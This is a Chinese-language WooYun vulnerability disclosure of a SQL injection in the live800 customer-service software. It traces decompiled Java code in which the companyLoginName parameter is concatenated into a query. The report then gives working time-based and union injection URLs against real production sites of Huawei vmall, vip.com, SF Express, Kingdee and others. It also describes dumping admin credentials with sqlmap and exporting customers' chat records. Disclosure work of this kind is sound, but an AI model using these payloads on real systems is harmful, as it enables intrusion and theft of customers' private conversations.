### 简要描述: SQL注射漏洞,可看客户与客服对话内容,泄露大量敏感信息。 ### 详细说明: 通过此漏洞 [WooYun: live800客服系统任意文件下载漏洞](http://www.wooyun.org/bugs/wooyun-2015-0147322) 下载站点源码,在loginAction.jsp中发现以下内容: ``` String loginName=request.getParameter("loginName"); String password=request.getParameter("password"); String loginServerUrl = request.getParameter("loginServerUrl"); OperatorInfo operatorInfo=new OperatorInfo(); operatorInfo.setLoginName(loginName); password = URLUtil.unEscapeHtml(password); operatorInfo.setPassword(password); operatorInfo.setLoginServerUrl(loginServerUrl); int result=DBManager.validateLogin(request.getParameter("companyLoginName"),operatorInfo);//跟踪此方法 if(DBError.NO_EXCEPTION==result&&operatorInfo.validateLogin()&&!StringUtils.isNullOrLengthZero(operatorInfo.getId())) ``` 跟踪用于登录的DBManager.validateLogin()方法,代码做了混淆看着有点吃力: ``` public static int validateLogin(String paramString, OperatorInfo paramOperatorInfo) { if (paramOperatorInfo == null) { return 17; } String str1 =...
### 简要描述: SQL注射漏洞,可看客户与客服对话内容,泄露大量敏感信息。 ### 详细说明: 通过此漏洞 [WooYun: live800客服系统任意文件下载漏洞](http://www.wooyun.org/bugs/wooyun-2015-0147322) 下载站点源码,在loginAction.jsp中发现以下内容: ``` String loginName=request.getParameter("loginName"); String password=request.getParameter("password"); String loginServerUrl = request.getParameter("loginServerUrl"); OperatorInfo operatorInfo=new OperatorInfo(); operatorInfo.setLoginName(loginName); password = URLUtil.unEscapeHtml(password); operatorInfo.setPassword(password); operatorInfo.setLoginServerUrl(loginServerUrl); int result=DBManager.validateLogin(request.getParameter("companyLoginName"),operatorInfo);//跟踪此方法 if(DBError.NO_EXCEPTION==result&&operatorInfo.validateLogin()&&!StringUtils.isNullOrLengthZero(operatorInfo.getId())) ``` 跟踪用于登录的DBManager.validateLogin()方法,代码做了混淆看着有点吃力: ``` public static int validateLogin(String paramString, OperatorInfo paramOperatorInfo) { if (paramOperatorInfo == null) { return 17; } String str1 = paramOperatorInfo.getPassword(); if (StringUtils.isNullOrLengthZero(new String[] { str1, paramString })) { return 17; } paramOperatorInfo.setPassword(Password.getEncodingPassword(str1)); String str2 = ak.i(paramString);//跟踪此方法 if (StringUtils.isNullOrLengthZero(str2)) { return 17; } paramOperatorInfo.setCompanyId(str2); return OperatorDBM.validateLogin(paramOperatorInfo); } ``` 再跟踪 ak.i()方法: ``` public static String i(String paramString) { StringBuffer localStringBuffer = new StringBuffer(); localStringBuffer .append("select company_id from company where company_login_name='"); localStringBuffer.append(paramString); localStringBuffer.append("' and user_type!='"); localStringBuffer.append("U"); localStringBuffer.append("'"); return DBCommuter.getAnAttribute(localStringBuffer.toString()); } ``` 在这里看到SQL语句是由参数拼接而成的,最后跟踪DBCommuter.getAnAttribute(localStringBuffer.toString())看看SQL是怎么执行的: ``` public static final String getAnAttribute(String paramString) { if (paramString == null) { return null; } String str = null; Connection localConnection = null; Statement localStatement = null; ResultSet localResultSet = null; if (Live800Define.isOracle) paramString = MysqlToOracle.dividePage(paramString); try { localConnection = a(); localStatement = localConnection.createStatement(); localResultSet = localStatement.executeQuery(paramString); if (localResultSet.next()) { str = localResultSet.getString(1); } a(localStatement.getWarnings(), paramString); a(localResultSet.getWarnings(), paramString); localResultSet.close(); localResultSet = null; localStatement.close(); localStatement = null; localConnection.close(); localConnection = null; } catch (SQLException localSQLException1) { localSQLException1.printStackTrace(); if (a.isWarnEnabled()) { a.logWarn(paramString, localSQLException1); } } finally { if (localResultSet != null) { try { localResultSet.close(); } catch (SQLException localSQLException2) { a.logFatal("close rs error!", localSQLException2); } localResultSet = null; } if (localStatement != null) { try { localStatement.close(); } catch (SQLException localSQLException3) { a.logFatal("close stmt error!", localSQLException3); } localStatement = null; } if (localConnection != null) { try { localConnection.close(); } catch (SQLException localSQLException4) { a.logFatal("close connect error!", localSQLException4); } localConnection = null; } } return str; } ``` 从以上的代码不难看出程序未进行参数化查询导致SQL注入漏洞发生。 还是以华为作为测试用例,访问以下地址登录: ``` http://robotim.vmall.com/live800/login.jsp?aaa=1 ``` 抓取数据包: [<img src="https://images.seebug.org/upload/201510/18011527d8ee17249c7b9ee41a82159dd2093abd.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/18011527d8ee17249c7b9ee41a82159dd2093abd.png) 其中的companyLoginName存在SQL注入: ``` http://robotim.vmall.com/live800/loginAction.jsp?companyLoginName=1%27or(select%20sleep(2))%23&loginName=a111&password=111 ``` 可以看到页面成功延迟2s,用SQLMAP跑出账户密码: [<img src="https://images.seebug.org/upload/201510/180118513ace4f26deaa11bc0acb3a0721f47452.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/180118513ace4f26deaa11bc0acb3a0721f47452.png) 成功登录后台: [<img src="https://images.seebug.org/upload/201510/18012042cb1963beebcf204905fea54d092a3037.png" alt="7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/18012042cb1963beebcf204905fea54d092a3037.png) 在后台有个对话记录查询功能: [<img src="https://images.seebug.org/upload/201510/180122343f04f8430265bc9357132fb59e54d195.png" alt="8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/180122343f04f8430265bc9357132fb59e54d195.png) 直接导出详细记录即可查看对话记录: [<img src="https://images.seebug.org/upload/201510/1801255847910d14ea32b2acc52454a40f29e574.png" alt="9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/1801255847910d14ea32b2acc52454a40f29e574.png) 简单例几个受此漏洞影响的站点: ``` http://800.vip.com/live800/loginAction.jsp?companyLoginName=test%27or(select sleep(3))%23&loginName=test2&password=test3 http://livechat1.eachnet.com/live800/loginAction.jsp?companyLoginName=-1%27union%20select%20(select%20sleep(3))%20from%20company%20limit%201%23&loginName=test2&password=test3 http://fnonline.feiniu.com/live800/loginAction.jsp?companyLoginName=-1%27union%20select%20(select%20sleep(3))%20from%20company%20limit%201%23&loginName=test2&password=test3 http://sf-ocs.sf-express.com:8080/live800/loginAction.jsp?companyLoginName=-1%27union%20select%20(select%20sleep(3))%20from%20company%20limit%201%23&loginName=test2&password=test3 http://online.kingdee.com/live800/loginAction.jsp?companyLoginName=-1%27union%20select%20(select%20sleep(3))%20from%20company%20limit%201%23&loginName=test2&password=test3 ``` ### 漏洞证明: 同上